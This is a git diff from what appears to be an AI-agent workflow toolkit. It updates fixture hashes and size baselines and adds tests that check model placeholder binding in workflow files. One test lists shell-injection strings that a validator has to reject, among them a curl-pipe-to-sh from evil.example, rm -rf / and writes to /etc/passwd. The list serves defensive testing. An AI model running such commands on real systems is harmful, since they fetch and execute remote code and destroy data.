@@ -169,7 +169,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "e067ad3df6770db1", "gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118", "gsd-core/references/offer-next.md": "689740e4c2ed16f4", @@ -367,13 +367,13 @@ "gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe", "gsd-core/workflows/resume-project.md": "f28da1200e4545f4", "gsd-core/workflows/review.md": "8724993cbc91bcc5", - "gsd-core/workflows/scan.md": "e1c12d542e61720d", + "gsd-core/workflows/scan.md": "0583dac337623f82", "gsd-core/workflows/secure-phase.md": "fda2361739e511ee", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44", "gsd-core/workflows/settings-integrations.md": "effcef778d4a855f", "gsd-core/workflows/settings.md": "85ceb482dc713169", - "gsd-core/workflows/ship.md": "65a7fd84d4657a5e", + "gsd-core/workflows/ship.md": "ca94c87c80a70c27", "gsd-core/workflows/sketch-wrap-up.md": "b767a1d3db129a8a", "gsd-core/workflows/sketch.md": "5f0a7d3640cdff54", "gsd-core/workflows/smart-entry.md": "004b4060eab97cb9", diff --git a/tests/fixtures/golden-install-parity/opencode.json b/tests/fixtures/golden-install-parity/opencode.json index 0fe3bcd13..152fc44a6 100644 --- a/tests/fixtures/golden-install-parity/opencode.json +++ b/tests/fixtures/golden-install-parity/opencode.json @@ -175,7 +175,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "858c16730df68ac2", + "gsd-core/references/model-profile-resolution.md": "5d0bf1da4e1e7dfb", "gsd-core/references/model-profiles.md": "6568ca29b6ee00d8", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "6456306b03a6dd5e", @@ -373,13 +373,13 @@ "gsd-core/workflows/remove-workspace.md": "21a8581add5f31ae", "gsd-core/workflows/resume-project.md": "ad9f06a10bab8cc0", "gsd-core/workflows/review.md": "c775d08988c05be6", - "gsd-core/workflows/scan.md": "cbfb79df855e5e61", + "gsd-core/workflows/scan.md": "bc69d7c058805c47", "gsd-core/workflows/secure-phase.md": "ef09f40dfd4d2424", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "252b0d3edc315339", "gsd-core/workflows/settings-integrations.md": "1c3997dc6953e7eb", "gsd-core/workflows/settings.md": "a244850ce2f7b8dd", - "gsd-core/workflows/ship.md": "0476cabbfb2d9be3", + "gsd-core/workflows/ship.md": "c58cd69d8943e870", "gsd-core/workflows/sketch-wrap-up.md": "681800323681c5c6", "gsd-core/workflows/sketch.md": "da82c9be7074545c", "gsd-core/workflows/smart-entry.md": "c4c780d3aa2124f8", diff --git a/tests/fixtures/golden-install-parity/pi.json b/tests/fixtures/golden-install-parity/pi.json index 75fac746a..4686a8df1 100644 --- a/tests/fixtures/golden-install-parity/pi.json +++ b/tests/fixtures/golden-install-parity/pi.json @@ -71,7 +71,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "e067ad3df6770db1", "gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118", "gsd-core/references/offer-next.md": "689740e4c2ed16f4", @@ -269,13 +269,13 @@ "gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe", "gsd-core/workflows/resume-project.md": "f28da1200e4545f4", "gsd-core/workflows/review.md": "8724993cbc91bcc5", - "gsd-core/workflows/scan.md": "e1c12d542e61720d", + "gsd-core/workflows/scan.md": "0583dac337623f82", "gsd-core/workflows/secure-phase.md": "fda2361739e511ee", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44", "gsd-core/workflows/settings-integrations.md": "effcef778d4a855f", "gsd-core/workflows/settings.md": "85ceb482dc713169", - "gsd-core/workflows/ship.md": "65a7fd84d4657a5e", + "gsd-core/workflows/ship.md": "ca94c87c80a70c27", "gsd-core/workflows/sketch-wrap-up.md": "838c701bd072ae73", "gsd-core/workflows/sketch.md": "70df86d9d8eeba0f", "gsd-core/workflows/smart-entry.md": "004b4060eab97cb9", diff --git a/tests/fixtures/golden-install-parity/qwen.json b/tests/fixtures/golden-install-parity/qwen.json index cf247be34..89d9a631d 100644 --- a/tests/fixtures/golden-install-parity/qwen.json +++ b/tests/fixtures/golden-install-parity/qwen.json @@ -104,7 +104,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "0b7e06ed2e4abac8", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "8f98bc9d5956a004", @@ -302,13 +302,13 @@ "gsd-core/workflows/remove-workspace.md": "ae520235f4d1f4a5", "gsd-core/workflows/resume-project.md": "7f20769f302e5427", "gsd-core/workflows/review.md": "c6d7f9e26af9fbdc", - "gsd-core/workflows/scan.md": "b7efd0d381a3b8a5", + "gsd-core/workflows/scan.md": "988236984298388d", "gsd-core/workflows/secure-phase.md": "f7bfa7175102af31", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "5e05212fb5cba531", "gsd-core/workflows/settings-integrations.md": "c9fb71d26fd93527", "gsd-core/workflows/settings.md": "83a13de5926ead14", - "gsd-core/workflows/ship.md": "c60788a84581ac11", + "gsd-core/workflows/ship.md": "c5041231ec976644", "gsd-core/workflows/sketch-wrap-up.md": "89e0eab2af946b04", "gsd-core/workflows/sketch.md": "6e68bbff5c1e6db0", "gsd-core/workflows/smart-entry.md": "072ac6efe8aafc38", diff --git a/tests/fixtures/golden-install-parity/trae.json b/tests/fixtures/golden-install-parity/trae.json index 708519e60..056837729 100644 --- a/tests/fixtures/golden-install-parity/trae.json +++ b/tests/fixtures/golden-install-parity/trae.json @@ -104,7 +104,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "b4527b0f255d193f", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "1c9ae4014a95d269", @@ -302,13 +302,13 @@ "gsd-core/workflows/remove-workspace.md": "8ddc5f04f7c48d6c", "gsd-core/workflows/resume-project.md": "f242e4c8aba18ea2", "gsd-core/workflows/review.md": "663197fee51897e4", - "gsd-core/workflows/scan.md": "3b14bcb51d3a4de8", + "gsd-core/workflows/scan.md": "73a9c7810f892ea1", "gsd-core/workflows/secure-phase.md": "267393d5b02b5334", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "39e66386f6c48025", "gsd-core/workflows/settings-integrations.md": "8bb1c2bdebbc56e6", "gsd-core/workflows/settings.md": "db6121276c6f63a4", - "gsd-core/workflows/ship.md": "c6f64de23299425c", + "gsd-core/workflows/ship.md": "b78862b054e8064c", "gsd-core/workflows/sketch-wrap-up.md": "dbec602d104cb951", "gsd-core/workflows/sketch.md": "6a6e543f2b667278", "gsd-core/workflows/smart-entry.md": "5631e2e70b02abba", diff --git a/tests/fixtures/golden-install-parity/windsurf.json b/tests/fixtures/golden-install-parity/windsurf.json index 4d6c11a64..dc38b4264 100644 --- a/tests/fixtures/golden-install-parity/windsurf.json +++ b/tests/fixtures/golden-install-parity/windsurf.json @@ -104,7 +104,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "09aa53e3f1764a41", "gsd-core/references/mvp-concepts.md": "3464783eaaef5c10", "gsd-core/references/offer-next.md": "1c9ae4014a95d269", @@ -302,13 +302,13 @@ "gsd-core/workflows/remove-workspace.md": "30ca05fe4a3efc25", "gsd-core/workflows/resume-project.md": "82cfe1b8cb17c085", "gsd-core/workflows/review.md": "8a9380fa5a5a3b12", - "gsd-core/workflows/scan.md": "4a910da5e34f2685", + "gsd-core/workflows/scan.md": "a93cb61ed701c91f", "gsd-core/workflows/secure-phase.md": "d5d811bc468ce7f2", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "2f86ec7b998f9485", "gsd-core/workflows/settings-integrations.md": "159d0ae32b511129", "gsd-core/workflows/settings.md": "26fff45b86d827aa", - "gsd-core/workflows/ship.md": "aa9adf13460077cf", + "gsd-core/workflows/ship.md": "8ddef34295aa8394", "gsd-core/workflows/sketch-wrap-up.md": "10063f56c2c7f141", "gsd-core/workflows/sketch.md": "c15716376df41c97", "gsd-core/workflows/smart-entry.md": "3fed94530109124b", diff --git a/tests/fixtures/golden-install-parity/zcode.json b/tests/fixtures/golden-install-parity/zcode.json index 34ef745c0..20e42b483 100644 --- a/tests/fixtures/golden-install-parity/zcode.json +++ b/tests/fixtures/golden-install-parity/zcode.json @@ -175,7 +175,7 @@ "gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f", "gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987", "gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf", - "gsd-core/references/model-profile-resolution.md": "f32bb05102839767", + "gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31", "gsd-core/references/model-profiles.md": "e067ad3df6770db1", "gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118", "gsd-core/references/offer-next.md": "689740e4c2ed16f4", @@ -373,13 +373,13 @@ "gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe", "gsd-core/workflows/resume-project.md": "f28da1200e4545f4", "gsd-core/workflows/review.md": "8724993cbc91bcc5", - "gsd-core/workflows/scan.md": "e1c12d542e61720d", + "gsd-core/workflows/scan.md": "0583dac337623f82", "gsd-core/workflows/secure-phase.md": "fda2361739e511ee", "gsd-core/workflows/session-report.md": "2e5b1205324ddefa", "gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44", "gsd-core/workflows/settings-integrations.md": "effcef778d4a855f", "gsd-core/workflows/settings.md": "85ceb482dc713169", - "gsd-core/workflows/ship.md": "65a7fd84d4657a5e", + "gsd-core/workflows/ship.md": "ca94c87c80a70c27", "gsd-core/workflows/sketch-wrap-up.md": "86db87b16548117e", "gsd-core/workflows/sketch.md": "fcd52f8d9076e183", "gsd-core/workflows/smart-entry.md": "004b4060eab97cb9", diff --git a/tests/model-omit-when-inherit-guard.test.cjs b/tests/model-omit-when-inherit-guard.test.cjs index 8c203841b..0c4a31ffc 100644 --- a/tests/model-omit-when-inherit-guard.test.cjs +++ b/tests/model-omit-when-inherit-guard.test.cjs @@ -1,25 +1,33 @@ // allow-test-rule: structural-regression-guard see #2517 -// Guards the omit-when-inherit fix: plan-phase.md and execute-phase.md must instruct -// the agent to OMIT the model= param from Agent() calls when the *_model var is -// "inherit" or empty. Without it, model="" is passed verbatim and 404s on non-Claude -// runtimes (resolve_model_ids:"omit" + model_profile:"inherit" → empty model string). -// execute-phase had the fix; plan-phase was missing it (#2517). +// allow-test-rule: runtime-contract-is-the-product see #2684 +// Guards the omit-when-inherit fix: workflow orchestrators must instruct the agent to +// OMIT the model= param from Agent() calls when the *_model var is "inherit" or empty. +// Without it, model="" is passed verbatim and 404s on non-Claude runtimes +// (resolve_model_ids:"omit" + model_profile:"inherit" -> empty model string). +// execute-phase had the fix; plan-phase was missing it (#2517); scan/ship dispatched with +// a placeholder their own init payload never emits at all (#2684). 'use strict'; const { test } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); +const fc = require('./helpers/fast-check-setup.cjs'); +const { runGsdTools, createTempProject, cleanup } = require('./helpers.cjs'); const ROOT = path.resolve(__dirname, '..'); +const WORKFLOWS = path.join(ROOT, 'gsd-core', 'workflows'); // Each orchestrator that spawns model-tagged subagents must carry the rule. const GUARDED = [ 'gsd-core/workflows/plan-phase.md', 'gsd-core/workflows/execute-phase.md', + // #2684 — both dispatched with an unbound placeholder and no omit rule. + 'gsd-core/workflows/scan.md', + 'gsd-core/workflows/ship.md', ]; -test('#2517: plan-phase/execute-phase document omitting model= when *_model is inherit/empty', () => { +test('#2517: orchestrators document omitting model= when *_model is inherit/empty', () => { for (const rel of GUARDED) { const content = fs.readFileSync(path.join(ROOT, rel), 'utf8'); // The rule: "omit the model= param ... when *_model is inherit/empty". @@ -33,3 +41,269 @@ test('#2517: plan-phase/execute-phase document omitting model= when *_model is i ); } }); + +// --------------------------------------------------------------------------- +// #2684 — placeholder binding. +// +// A dispatch site may only substitute a field its OWN workflow binds. Three +// binding sources, any one sufficient: +// (a) a shell assignment in the same file: NAME=$(gsd_run query resolve-model …) +// (b) a key actually emitted by an init surface the file queries (invoked for real) +// (c) the file's declared parse list ("Parse JSON for:" / "Extract from init JSON:") +// --------------------------------------------------------------------------- + +/** All `model="{X}"` placeholder names in a workflow body. */ +function extractModelPlaceholders(content) { + return [...content.matchAll(/model="\{([A-Za-z0-9_]+)\}"/g)].map((m) => m[1]); +} + +/** `NAME=$(...)` shell assignments. `^`/`$` under /m are CRLF-safe; \s absorbs the \r. */ +function shellAssignedNames(content) { + return new Set([...content.matchAll(/^[ \t]*([A-Za-z0-9_]+)=\$\(/gm)].map((m) => m[1])); +} + +/** Init surfaces the file queries: both `init.` and the `-init` spelling. */ +function queriedInitSurfaces(content) { + const dotted = [...content.matchAll(/query\s+(init\.[a-z0-9-]+)/g)].map((m) => m[1]); + const suffixed = [...content.matchAll(/query\s+([a-z0-9-]+-init)\b/g)].map((m) => m[1]); + return [...new Set([...dotted, ...suffixed])]; +} + +/** Names listed on a declared parse line. */ +function declaredParseNames(content) { + const names = new Set(); + const lines = /^.*(?:Parse JSON for|Parse from init JSON|Extract from init JSON).*$/gim; + for (const line of content.match(lines) || []) { + for (const m of line.matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(m[1]); + } + // Multi-line declarations render the fields as a bullet list under the heading. + const bulleted = content.matchAll( + /(?:Parse JSON for|Parse from init JSON|Extract from init JSON)[^\n]*\n((?:[ \t]*[-*][^\n]*\n)+)/gi, + ); + for (const m of bulleted) { + for (const b of m[1].matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(b[1]); + } + return names; +} + +const _initKeyCache = new Map(); +/** Real payload keys for an init surface, or null when it needs args we cannot supply. */ +function initPayloadKeys(surface) { + if (_initKeyCache.has(surface)) return _initKeyCache.get(surface); + let keys = null; + const res = runGsdTools(['query', surface], ROOT); + if (res.success) { + try { + keys = new Set(Object.keys(JSON.parse(res.output))); + } catch { + keys = null; // non-JSON payload — inconclusive, not proof of absence. + } + } + // A null here means the surface needs an argument we cannot supply (e.g. a + // phase number). Inconclusive, NOT proof the field is absent — the caller + // still has the declared-parse-list and shell-assignment binding sources. + _initKeyCache.set(surface, keys); + return keys; +} + +/** Unbound `model="{X}"` names in one workflow body. */ +function unboundModelPlaceholders(content, resolveInit = initPayloadKeys) { + const placeholders = new Set(extractModelPlaceholders(content)); + if (placeholders.size === 0) return []; + const bound = new Set([...shellAssignedNames(content), ...declaredParseNames(content)]); + for (const surface of queriedInitSurfaces(content)) { + const keys = resolveInit(surface); + if (keys) for (const k of keys) bound.add(k); + } + return [...placeholders].filter((p) => !bound.has(p)); +} + +test('#2684: every model="{…}" placeholder resolves to a field its own workflow binds', () => { + const files = fs.readdirSync(WORKFLOWS).filter((f) => f.endsWith('.md')); + const findings = []; + let scanned = 0; + let placeholders = 0; + + for (const file of files) { + const content = fs.readFileSync(path.join(WORKFLOWS, file), 'utf8'); + const found = extractModelPlaceholders(content); + if (found.length === 0) continue; + scanned += 1; + placeholders += found.length; + for (const name of unboundModelPlaceholders(content)) { + findings.push(`${file}: model="{${name}}" — no init payload key, shell assignment, or ` + + `declared parse field of that name. The substitution has no source, so the ` + + `orchestrator invents a value (#2684, ADR-1411).`); + } + } + + // Non-vacuity: a glob that silently stops matching must fail, not pass. + assert.ok(scanned >= 10, `expected to scan >=10 dispatching workflows, scanned ${scanned}`); + assert.ok(placeholders >= 20, `expected >=20 model= placeholders, found ${placeholders}`); + assert.deepEqual(findings, [], `unbound model= placeholders:\n ${findings.join('\n ')}`); +}); + +test('#2684: detects an unbound placeholder in a synthetic workflow', () => { + const noInit = () => null; + + // limit-1 — zero placeholders. + assert.deepEqual(unboundModelPlaceholders('# doc\nno dispatch here\n', noInit), []); + + // limit — exactly one, unbound. + const one = '# doc\nAgent(subagent_type="x", model="{ghost_model}")\n'; + assert.deepEqual(unboundModelPlaceholders(one, noInit), ['ghost_model']); + + // limit+1 — two unbound alongside one bound; only the unbound are reported. + const many = [ + '# doc', + 'REAL_MODEL=$(gsd_run query resolve-model gsd-planner --raw)', + 'Agent(subagent_type="a", model="{REAL_MODEL}")', + 'Agent(subagent_type="b", model="{ghost_one}")', + 'Agent(subagent_type="c", model="{ghost_two}")', + '', + ].join('\n'); + assert.deepEqual(unboundModelPlaceholders(many, noInit), ['ghost_one', 'ghost_two']); +}); + +test('#2684: binding detection is CRLF-safe', () => { + const noInit = () => null; + const body = [ + '# doc', + 'BOUND_MODEL=$(gsd_run query resolve-model gsd-planner --raw)', + 'Parse JSON for: `declared_model`.', + 'Agent(subagent_type="a", model="{BOUND_MODEL}")', + 'Agent(subagent_type="b", model="{declared_model}")', + 'Agent(subagent_type="c", model="{ghost_model}")', + '', + ]; + const lf = body.join('\n'); + const crlf = body.join('\r\n'); + assert.deepEqual(unboundModelPlaceholders(lf, noInit), ['ghost_model']); + assert.deepEqual( + unboundModelPlaceholders(crlf, noInit), + unboundModelPlaceholders(lf, noInit), + 'CRLF input must yield the same findings as LF — a hardcoded \\n strands the \\r ' + + 'and turns a bound name unbound (recurring class: #1658/#1668/#2206/#2449/#2450).', + ); +}); + +test('#2684: placeholder extraction round-trips (property)', () => { + const ident = fc.stringMatching(/^[A-Za-z_][A-Za-z0-9_]{0,20}$/); + fc.assert( + fc.property(fc.array(ident, { minLength: 1, maxLength: 12 }), (names) => { + const rendered = names.map((n) => `Agent(subagent_type="x", model="{${n}}")`).join('\n'); + assert.deepEqual(extractModelPlaceholders(rendered), names); + }), + { numRuns: 200 }, + ); +}); + +test('#2684: the model-profile reference does not instruct emitting an inherit/empty model=', () => { + const rel = 'gsd-core/references/model-profile-resolution.md'; + const content = fs.readFileSync(path.join(ROOT, rel), 'utf8'); + + assert.ok( + !/model="inherit"/.test(content), + `${rel}: must not instruct passing model="inherit" — #2517 established that an ` + + `inherit/empty model 404s on non-Claude runtimes and must be OMITTED instead. ` + + `This shipped reference is copied into workflows verbatim.`, + ); + assert.ok( + !/model="\{resolved_model\}"/.test(content), + `${rel}: must not ship a copy-pasteable model="{resolved_model}" — no init payload ` + + `emits that field, and this snippet is exactly what scan.md inherited (#2684).`, + ); + assert.ok( + /omit/i.test(content), + `${rel}: must state the #2517 omit-on-inherit/empty rule, since it is the document ` + + `workflow authors copy their dispatch block from.`, + ); +}); + +test('#2684: ship.md validates capability-supplied ref.agent before it reaches a shell', () => { + const content = fs.readFileSync(path.join(WORKFLOWS, 'ship.md'), 'utf8'); + + // `ref.agent` comes from a capability manifest, which may be third-party. The + // #2684 fix is the first place that value reaches a shell command, so the + // workflow must constrain its shape BEFORE substituting it. + // + // The check must be performed in-context, not in the shell: the orchestrator + // substitutes the raw value textually, so a shell-side test would run only + // AFTER a payload like `x"; id; echo "` had already closed the assignment and + // executed. Assert the workflow states the in-context ordering explicitly. + const gate = /`(\^\[A-Za-z0-9\]\[[^`]*\]\*\$)`/.exec(content); + assert.ok( + gate, + 'ship.md must publish the shape `ref.agent` has to match before it is used ' + + '— a capability manifest is not trusted input.', + ); + assert.match( + content, + /IN-CONTEXT, before any shell use/i, + 'ship.md must require the ref.agent check to run in-context BEFORE any shell ' + + 'use. A shell-side check runs after the injection point and protects nothing.', + ); + assert.doesNotMatch( + content, + /HOOK_AGENT="/, + 'ship.md must not assign the raw ref.agent value into a shell variable — that ' + + 'assignment IS the injection point (#2684 isolated review).', + ); + + const shape = new RegExp(gate[1]); + + // Legitimate agent names the capability system actually dispatches. + for (const ok of ['gsd-mempalace-curator', 'gsd-code-reviewer', 'my.agent_v2', 'a']) { + assert.ok(shape.test(ok), `validation gate must accept the real agent name ${ok}`); + } + + // Shell-injection shapes a hostile or corrupted manifest could supply. Each + // must be rejected, so the hook is skipped rather than executed. + const hostile = [ + 'x"; curl http://evil.example/p | sh; #', + 'x$(id)', + 'x`id`', + 'x; rm -rf /', + 'x && whoami', + 'x | tee /etc/passwd', + 'x\nrm -rf /', + '$IFS', + '../../etc/passwd', + '', + ]; + for (const bad of hostile) { + assert.equal( + shape.test(bad), + false, + `validation gate must REJECT ${JSON.stringify(bad)} — it would otherwise be ` + + 'interpolated into a shell command built from a capability manifest.', + ); + } +}); + +test('#2684: an unknown agent type resolves to an empty model, so dispatch must omit', () => { + // Hermetic: a throwaway project whose config explicitly sets resolve_model_ids:"omit". + // ship.md dispatches `ref.agent` — an arbitrary capability-supplied agent name that need + // not be in MODEL_PROFILES. This pins that such a name resolves to the EMPTY string, so + // the consumer must omit `model=` rather than emit `model=""` (the #2517 404). + const dir = createTempProject('gsd-2684-'); + try { + fs.writeFileSync( + path.join(dir, '.planning', 'config.json'), + JSON.stringify({ model_profile: 'balanced', resolve_model_ids: 'omit', runtime: 'claude' }), + ); + const res = runGsdTools(['query', 'resolve-model', 'not-a-real-agent'], dir); + assert.ok(res.success, `resolve-model failed (exit ${res.exitCode}): ${res.error}`); + const parsed = JSON.parse(res.output); + assert.equal(parsed.unknown_agent, true, 'an agent absent from MODEL_PROFILES must be flagged'); + assert.equal( + parsed.model, + '', + 'an unknown agent under resolve_model_ids:"omit" must resolve to the EMPTY string — ' + + 'the resolver is correct to refuse to invent a tier, which is precisely why the ' + + 'ship.md dispatch has to omit model= instead of substituting (#2684 / #2517).', + ); + } finally { + cleanup(dir); + } +}); diff --git a/tests/workflow-size-baseline.json b/tests/workflow-size-baseline.json index 94f8b76c0..eb36c54e2 100644 --- a/tests/workflow-size-baseline.json +++ b/tests/workflow-size-baseline.json @@ -65,13 +65,13 @@ "remove-workspace.md": 7916, "resume-project.md": 17270, "review.md": 59213, - "scan.md": 8314, + "scan.md": 8880, "secure-phase.md": 14627, "session-report.md": 4044, "settings-advanced.md": 40019, "settings-integrations.md": 16257, "settings.md": 33832, - "ship.md": 29834, + "ship.md": 31658, "sketch-wrap-up.md": 14267, "sketch.md": 20369, "smart-entry.md": 11489,